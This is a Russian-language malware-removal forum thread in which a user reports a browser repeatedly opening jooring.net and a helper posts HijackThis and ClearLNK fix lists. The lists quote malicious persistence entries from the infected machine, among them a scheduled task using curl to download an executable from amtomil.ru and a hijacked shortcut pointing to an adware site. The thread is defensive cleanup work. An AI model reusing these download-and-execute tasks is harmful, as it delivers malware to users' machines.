jooring.net

**olezya** · 14.01.2018, 17:23

Здравствуйте

В браузере время от времени открывается вкладка на сайт jooring.net

заранее спасибо

Вложение 668550

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

**Info_bot** · 14.01.2018, 17:26

Уважаемый(ая) olezya, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

**olezya** · 18.01.2018, 10:14

можно, пожалуйста, предоставить справку как создать карантин?

**Vvvyg** · 21.01.2018, 23:03

Запустите HijackThis, расположенный в папке Autologger и пофиксите (в Windows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора)):

Код:

O4-32 - HKLM\..\Run: [Andy] C:\Program Files\Andy\HandyAndy.exe (file missing)
O21 - ShellIconOverlayIdentifiers: 00asw - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O22 - Task: (Ready) Update Service for VK Downloader2.job - C:\Program Files (x86)\VK Downloader\rfnOUwV.exe
O22 - Task: MSI - C:\Users\??????\AppData\Roaming\Microsoft\msi.exe cnt=1 fts="Programs\microsoft_office_2016_professional_plus_16_0_4300_1000_repack_by_d_akov_tfile_ru_torrent___.exe" (file missing)
O22 - Task: curl - C:\Users\??????\AppData\Roaming\curl\curl_7_54.exe -f -L "http://amtomil.ru/f.exe" -o "C:\Users\??????\AppData\Roaming\curl\curl.exe" (file missing)
O22 - Task: jooringnetmersm - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe jooring.net/mersm

Скачайте, распакуйте и запустите утилиту ClearLNK. Скопируйте текст ниже в окно утилиты и нажмите "Лечить".

Код:

- "C:\Users\Компик\AppData\Local\Microsoft\Start Menu\Вoйти в Интeрнeт.lnk"
>>>  "C:\Users\Компик\Favorites\Links\Интернет.url"  ->               hxxp://pyuresa.ru/?utm_source=favorites03&utm_content=9d5932c47b7fc0bec21e510cb79c23b2

Отчёт о работе прикрепите.

Очистите кэш и cookies-файлы браузеров и сообщите, что с проблемой.